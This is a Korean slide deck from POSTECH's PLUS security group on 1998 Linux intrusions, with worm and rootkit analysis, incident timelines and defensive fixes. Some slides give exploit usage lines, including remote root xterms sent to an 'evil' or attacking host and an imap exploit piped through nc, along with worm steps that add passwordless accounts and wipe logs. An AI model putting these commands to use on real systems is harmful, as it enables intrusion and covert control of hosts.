리눅스와 보안 PLUS 오태호.

Slides:



Advertisements
Similar presentations
Python Essential 세미나 1 Python Databases Module - Part 2 (MySQL Module) 발표자 : 박영국 ( 화 )
Advertisements

Linux1 Linux 개요 Linux 방문하여 홈페이지 등록하기 Vi 편집해 보기. Linux2 개요  Linux 란 ? 1991 Linus Benedict Torvalds 가 만든 Unix 의 한 버전 GNU(GNU is Not Unix) » 프로그램이나 정보의.
1 장 Unix/Linux 소개 1 Helpers. 1 장 내용 1. 왜 유닉스인가 ? 2. 유닉스 시스템 구조 3. 유닉스 역사 및 버전 4. 리눅스 설치 ( 별도 2 시간 실습 ) 5. 사용 환경 6. 사용자 계정 관리 Unix/Linux 2.
SPARCS 10 이 가 영 기본 UNIX 명령어. 일단 로그인 ! Linux login 시 계정을 입력하거나 root 를 입력 Root -> # 일반 사용자 -> $ 패스워드 : echo 기능을 꺼서 볼 수 없다. 대소문자 구분 패스워드 처음 설정 시 : ~$ passwd.
네트워크 관련 명령어 영어영문 이충훈 정보통신 김재학. SSH( 보안텔넷 ) SSH 란 ? SSH(Secure Shell) 는 다른사용자가 세션을 엿듣지 못하도록 세션을 감싸주는 텔넷 응용프로그램으로 보안버전의 프로그 램입니다. 즉, 패스워드가.
KAIST 09 SPARCS 10 안재만 (Kuss).  OS  Kernel & Shell  OS Layer  Linux  Linux / GNU  Linux 역사  Linux 배포판  Linux Directories.
리눅스와 보안 PLUS 오태호.
시작부터 끝까지 진지한 궁서체로 진행하는 완벽한 주입식의 하드코어한 리눅스/장난감 세미나
㈜시스원이 제공하는 시스템 관리 통합 솔루션 SysmanagerOne Agent설치 안내서
임베디드 시스템 개론 8. 임베디드 시스템 개발 환경 8주차 강의 자료 Embedded System Lab.
제로보드 소개 제로보드 설치하기 제로보드 관리하기
3 장 인터넷 서비스.
프로그램 제어 분기(branch)와 점프(jump) 명령어 PC의 값의 변경 순차적인 프로그램의 진행순서가
1장 유닉스 소개.
FTP 09 SPARCS 박철웅 [dothack].
4. 시스템 관리 기본 naldo.
Linux University of Seoul Computer Science Park Jong wook
11장. 리눅스 시스템 조사.
컴퓨터 네트워크 실습.
운영체제 설정과 취약점 인터넷공학/컴퓨터공학 이수백/허성욱.
Unix(Linux) shell programming
PXA270 개발환경 설정 Ubuntu 실습용.
크로스 컴파일 환경 구축.
툴 설치 가이드 NC-Verilog Cadence.
System administration basics
정보 보안 개론과 실습 시스템 해킹과 보안 √ 원리를 알면 IT가 맛있다 ehanbit.net.
오 태 호 POSTECH Laboratory for UNIX Security
오 태 호 POSTECH Laboratory for UNIX Security
Tftp, nfs, samba 실습 임베디드 시스템 I.
LINUX SECURITY - 메일 보안 - 네트워크 실험실 김 윤 수 #
윈도우&유닉스 시스템 보안설정 Start! 서화섭.
소개: Unix란 무엇인가? 숙명여대 창병모 2009/09.
Ch. 1 LINUX SYSTEM.
[beginning] Linux & vi editor
유닉스 이론과 실습 √ 원리를 알면 IT가 맛있다 컴퓨터정보계열 이광규.
목차 커널의 개념 및 기능 커널 포팅 램디스크.
Part 06 보안 1. Windows 보안 2. Linux 보안 3. 해킹 기술 4. 네트워크 장비 보안 5. 해킹 도구.
2. Linux Installation Target Embedded System은 리눅스 환경을 사용한다. 이 장에서는 리눅스 설치부터, 각 설정의 의미들에 대해 이야기 한다.
UNIX Unbounded A Beginning Approach
컴퓨터 네트워크 실습.
리눅스 명령어 실습 임베디드 시스템 I.
Samba와 보안 PLUS 오태호.
포항공과대학교 PLUS 오태호(PLUS015)
시스템 보안 백 도 어 학번: 이름: 김 준 일.
리눅스 기본 명령어 기본 명령어 명령어 기능 사 용 예 date 날짜 및 시간을 확인하고 생성.
Internet Protocol and Programming
시스템 보안 정보 보안 개론 9장.
2012 인터넷 응용프로그래밍 FTP, MySQL 사용 방법 및 텀 프로젝트용 서버에서 웹페이지 구동 방법 설명
상지대학교 컴퓨터공학과 고광만 Lecture 01: 유닉스/리눅스 소개 상지대학교 컴퓨터공학과 고광만
공인인증서 신청 및 발급 제일 먼저 은행에 직접 방문하여 인터넷뱅킹 신청.
제4장 유닉스 쉘 숙명여대 창병모 2011 가을.
여행자 보험 가입 시,기내용 목베게+투어팁스 무료맵북 증정
HTML5 웹 프로그래밍 입문 홈페이지 계정.
4장 서버 구축을 위해 알아야 할 핵심 개념과 명령어
유닉스 개요 및 기본 사용법 ㅎㅎ 유닉스 개요 유닉스 시스템 접속 방법과 명령 사용법.
UNIX 사용자를 위한 디렉토리 보안 (유닉스 프로그래밍 및 실습 - 텀 프로젝트 )
Internet Protocol and Programming
운영체제 RaspberryPi Sejin Oh.
GoAhead Web Server.
운영체제의 종류 장승빈.
Unix 방문(접속하여 로그인) 하기 수퍼 유저 되어 사용자 계정 만들기 Unix의 아파치 웹 서버에 홈페이지 등록하기
시스템 인터페이스 Lab3 Unix 사용법 실습.
Execution with Unnecessary Privileges
Internet Protocol and Programming
3부 해킹 전 정보 획득 Chapter 9. IP 주소 추적
제4장 유닉스 쉘 숙명여대 창병모
HTML5 웹 프로그래밍 입문 홈페이지 계정.
매물장 로그인 직원을 미리 생성하시면 직원 ID로 로그인 가능.
■ 도면공급업체 사외접속 경로 ① ○ POSCO 사외 홈페이지 (1) ( -> 고객지원
한국 휴렛팩커드/고객지원사업본부/IT 기술사업부 박기영
Presentation transcript:

리눅스와 보안 PLUS 오태호

목차(1) 리눅스란? 리눅스가 최근 보안상 문제가 되는 이유 최근 외부 사용자 공격 유형 named를 이용한 공격 imapd를 이용한 공격 smbd를 이용한 공격

목차(2) 최근 리눅스 해킹사건 mscan imapd에 의한 해킹사건 named에 의한 해킹사건 리눅스 보안에 대한 대책

리눅스란? 핀란드에 있는 Linus Torvalds라는 대학생이 만든 PC에서 사용 가능한 UNIX clone 커널(kernel)의 소스가 완전히 공개되어 있고 PC에서 사용할 수 있기 때문에 해커가 애용하는 OS

리눅스가 최근 보안상 문제가 되는 이유(1) OS내부 구조가 완전히 공개되어 있음 리눅스 사용자의 급속한 증가 리눅스 커널(kernel)은 누구나 소스를 구해서 분석할 수 있음 리눅스 사용자의 급속한 증가 가격이 저렴함 성능이 뛰어남 사용방법이 쉬워짐 잡지사가 리눅스CD 배포에 기여 ^^;;

리눅스가 최근 보안상 문제가 되는 이유(2) 보안 구멍이 발견되면 그것을 이용한 공격 도구는 리눅스용이 가장 먼저 만들어 짐 * 참고사항 Alzza Redhat Linux 5.0 Patch man II 배포 1998년 3월 named(bind)버그 발표 (CERT) 1998년 4월 8일 named를 이용한 linux용 공격 도구 발견됨 1998년 5월 19일 named를 이용한 포항공대 공격 흔적 발견 1998년 7월 1일

최근 리눅스 외부 사용자 공격 유형(1) named imapd Redhat Linux 5.0에 포함 inverse query할 때 buffer overflow가능 CA-98.05.bind_problems 참고 imapd Redhat Linux 4.0에 포함 username을 입력 받을 때 buffer overflow가능 CA-97.09.imap_pop 참고

최근 리눅스 외부 사용자 공격 유형(2) smbd Redhat Linux 4.2에 포함 password를 입력 받을 때 buffer overflow가능

named를 이용한 공격(1) ADMw0rm evil victim1 victim2 자신을 /tmp/.w0rm0r에 저장 host정보를 /tmp/.X11x에 저장 w0rm계정 추가 /etc/hosts.deny삭제 자신을 실행 다른 host 공격 /tmp/.w0rm shell생성 w0rm으로 로그인 /tmp/.X11x를 index.html로 복사 자신을 전송받음 /tmp/.w0rm과 /var/log를 삭제 email을 보냄 로그아웃

named를 이용한 공격(2) ADMw0rm 분석 startup script 1) test, Hnamed, gimmeRAND, scanco, remotecmd를 컴파일한다. 2) test, Hnamed, gimmeRAND, scanco, remotecmd, gimmeIP, incremental, ADMw0rm을 ADMw0rm.tgz라는 이름으로 압축한다. 3) /tmp/.w0rm0r 디렉터리를 만들고 ADMw0rm.tgz를 복사한다. 4) w0rm::2666:777:ADM Inet W0rm:/:/bin/sh을 /etc/passwd에 추가한다. 5) ADMw0rm을 실행시킨다. (background)

named를 이용한 공격(3) ADMw0rm script(1) 1) 공격하고자 하는 호스트를 선택한다. 3) 공격이 가능하다면 Hnamed로 /etc/passwd에 빈 한 줄과 함께 w0rm::2666:777:ADM Inet w0rm:/:/bin/sh 을 추가하고 /tmp/.w0rm이라는 이름의 setuid root shell을 만들고 /etc/hosts.deny를 삭제한다. 4) 목표 호스트에 w0rm으로 로그인한다. 5) root권한으로 named를 실행시킨다. ( Hnamed를 이용해서 named를 공격하면 named가 crash되어 버리기 때문) 6) /tmp/.X11x에 "The ADM Inet w0rm is here !"라는 내용을 html형태로 저장한다. 7) /tmp/.w0rm0r 디렉터리를 만든다. 8) /tmp/w0rmishere 파일이 존재하는지 검사한다.

named를 이용한 공격(4) ADMw0rm script(2) 9) 파일이 존재하면 60초 후에 /var/log와 /tmp/.w0rm을 삭제한다. (background) 10) 파일이 존재하면 로그아웃한다. 11) 파일이 존재하지 않으면 ftp로 자신이 들어왔던 호스트에 w0rm으로 접속해서 /tmp/.w0rm0r/ADMw0rm.tgz를 전송받는다. 12) ADMw0rm.tgz 압축파일을 푼다. 13) /tmp/w0rmishere 파일을 생성시킨다. 14) ADMw0rm을 실행시킨다. (background) 15) ADMw0rm을 startup을 실행시킨 사람한테 현재 호스트의 IP를 email로 보낸다. 16) 60초 후에 /var/log와 /tmp/.w0rm을 삭제한다. (background)

named를 이용한 공격(5) ADMw0rm script(3) 17) find로 index.html 파일을 찾아서 /tmp/.X11x를 index.html로 복사한다. (background) 18) 로그아웃한다.

named를 이용한 공격(6) Hnamed 사용법 : Hnamed <목표 호스트> <쉘 명령어> 목표 호스트에서 임의의 쉘 명령어를 root권한으로 실행시킬 수 있음 예) Hnamed victim.postech.ac.kr /usr/X11R6/bin/xterm -display evil.postech.ac.kr:0.0 한 번 실행하면 named가 crash되기 때문에 두 번 사용할 수 없음.

imapd를 이용한 공격 imap 사용법 : imap <offset> offset의 값에 따라 buffer overflow를 위한 데이터가 생성 되서 standard output으로 출력 예) ( imap 0 ; cat ) | nc victim.postech.ac.kr 143

smbd를 이용한 공격(1) ADMkillsamba 사용법 : ADMkillsamba R <목표 호스트 IP> <netbios 이름> <공격 호스트 IP> <buffer size> <offset size> buffer size와 offset size를 바꿔서 계속 시도해서 성공하면 목표 호스트에서 root권한으로 실행시킨 xterm이 공격 호스트에 나타남 예) ADMkillsamba R 141.223.124.33 VICTIM 141.223.124.30 3081 2400

smbd를 이용한 공격(2) ADMkillsamba를 이용해서 호스트를 공격하려면 패스워드를 비정상적으로 길게 보낼 수 있는 smbclient가 필요함 * 패스워드를 길게 보낼 수 있는 smbclient 만드는 방법 1) samba source code를 다운받는다. 2) smb.h에서 typedef char pstring[1024];를 typedef char pstring[20000];으로 고친다. 3) make smbclient를 실행한다.

mscan 다수의 호스트에 대해 최근에 알려진 몇 가지 보안 취약점을 외부에서 검사해서 알려 주는 프로그램 예) mscan -z postech.ac.kr -a > mscan.log

imapd에 의한 해킹사건(1) 이탈리아의 정체불명의 해커가 포항공대의 x***를 imapd의 버그를 이용 해킹한 사건

imapd에 의한 해킹사건(2) x***에서 해커가 한 행동 /etc/passwd 에 dark라는 id를 추가함 /.bash_history를 /dev/null로 링크시킴 /etc/securetty를 수정해 외부에서 superuser접속 허용하게 함 /tmp 에 zgr, bnc를 설치 zgr은 /var/log/wtmp, /var/run/utmp, /var/log/lastlog에서 특정 사용자의 기록을 지움 (진짜 이름은 Zap2)

imapd에 의한 해킹사건(3) 미국 www.g***.org의 파일 시스템을 mount해서 해킹 시도 bnc는 irc를 사용할 때 자신의 위치를 숨길 수 있게 해 주는 프로그램 미국 www.g***.org의 파일 시스템을 mount해서 해킹 시도 국내 K대학에 있는 k***에 imapd를 이용해 해킹해서 k***에서 스니퍼(sniffer)를 사용해 k***주변 사용자의 id와 password를 알아냄 이때 top과 ps를 자신의 프로그램으로 바꿔서 sniffer가 top이나 ps로 확인이 불가능하게 만들었음

imapd에 의한 해킹사건(4) 일본 N대학의 s***을 해킹 시도 국내 C대학의 t***를 imapd를 이용해 해킹해서 국내 K대학에서 한 것과 같은 행동을 함 dark라는 id를 사용하는 이 해커는 1998년 5월 29일부터 6월 23일까지 거의 매일 이탈리아의 ISP를 통해 포항공대 x***에 접속해서 다른 여러 곳을 해킹함

imapd에 의한 해킹사건(5) 해커수사대에 신고 x***에 dark가 다시 들어오지 못하게 하고 사건을 마무리 함

named에 의한 해킹사건(1) 멕시코에 있는 I대학 j***에서 포항공대 전체 호스트를 mscan을 이용해 조사한 흔적 발견 1998/06/29 PLUS에서는 mscan으로 조사해서 위험한 결과가 나온 호스트에 named, imapd등의 버그를 빨리 패치할 것을 긴급 지시 1998/07/01

named에 의한 해킹사건(2) named를 아직 패치하지 않았던 호스트 중 4개의 호스트에서 해커가 해킹한 흔적 발견 1998/07/02 4개의 호스트를 해킹한 해커는 모든 호스트를 같은 방법으로 해킹했고 해킹에 성공한 후의 행동으로 미루어 봐서 동일범으로 추정됨

named에 의한 해킹사건(3) 해커가 4개의 호스트에서 한 행동 password가 null인 kaka라는 id와 root권한을 가진 rewt라는 id를 /etc/passwd에 추가 named를 패치해서 다른 해커가 named를 이용해서 해킹하지 못하게 함 warchild rootkit을 s***.co.nz에서 ftp로 받아와서 /dev/xdd21에 설치 자신이 행동한 모든 기록을 삭제

named에 의한 해킹사건(4) warchild rootkit 인터넷에서 구할 수 있는 rootkit을 warchild라는 별명을 가진 사람이 개조한 것으로 추정됨 chfn, chsh, dir, du, in.idserv, in.inetd, in.rshd, ifconfig, login, ls, netstat ,passwd, ps, pstree, syslogd, tcpd, top, vdir로 구성되어 있음

named에 의한 해킹사건(5) 프로그램을 설치할 때는 기존 프로그램과 시간을 똑같이 해서 프로그램이 바뀐 사실을 알기 힘들게 하며 나중에 정리를 하기 위해 uninstall정보도 저장 프로그램의 설치가 모두 끝나면 더 이상 필요 없게 된 프로그램은 모두 삭제

named에 의한 해킹사건(6) warchild rootkit의 프로그램별 분석 ps, pstree, top : /dev/edc1에 등록되어 있는 프로세스를 보이지 않게 함 netstat : /usr/src/linux/arch/alpha/lib/.lib/.1addr에 등록되에 있는 주소를 보이지 않게 함 dir, du, ls, vdir : /dev/edc3에 등록되어 있는 파일을 보이지 않게 함

named에 의한 해킹사건(7) syslogd : /dev/edc4에 등록되어 있는 기록을 기록하지 않음 ifconfig : 스니퍼를 실행시키고 있다는 사실을 보이지 않게 함 in.idserv : 스니퍼의 일종으로 스니퍼 결과는 /dev/xdd21/wrksn1ff에 저장됨 login : id에 m***, password에 ***a로 입력하면 root로 로그인됨

named에 의한 해킹사건(8) in.inetd : 510 port에서 기다리는 서버로서 password를 입력 받은 후 rootshell을 spawn함 나머지 프로그램들은 아직 어떤 역할을 하는지 자세히 모르겠음 이번 해킹 사건은 PLUS의 빠른 대응으로 인해 조기에 공격을 막을 수 있었지만 해킹을 당한 시스템 관리자들의 너무 성급한 대응으로 해커 추적에는 실패함

리눅스 보안에 대한 대책(1) named의 빠른 패치 imapd의 빠른 패치 /etc/rc.d/init.d/named stop chmod 000 /usr/sbin/named imapd의 빠른 패치 vi /etc/inetd.conf imap으로 시작하는 행을 찾아서 #로 comment처리 한다. killall -HUP inetd

리눅스 보안에 대한 대책(2) smbd의 빠른 패치 mscan으로 scan을 당했을 때 남는 기록 /etc/rc.d/init.d/smb stop chmod 000 /usr/sbin/smbd mscan으로 scan을 당했을 때 남는 기록 /var/log/secure에 기록이 남음 Jul 5 11:50:48 victim imapd[8580]: connect from 141.223.**.** Jul 5 11:50:48 victim ipop3d[8581]: connect from 141.223.**.** Jul 5 11:50:48 victim in.telnetd[8582]: connect from 141.223.**.**

리눅스 보안에 대한 대책(3) password가 null인 계정은 만들지 않음 항상 최신의 프로그램을 사용 필요 없는 프로그램은 사용하지 않음 보안 관련 공지를 자주 확인 http://www.redhat.com/support/docs/rhl/ 자신의 컴퓨터를 해킹해도 해커가 얻을 것이 없다는 생각을 하지 않음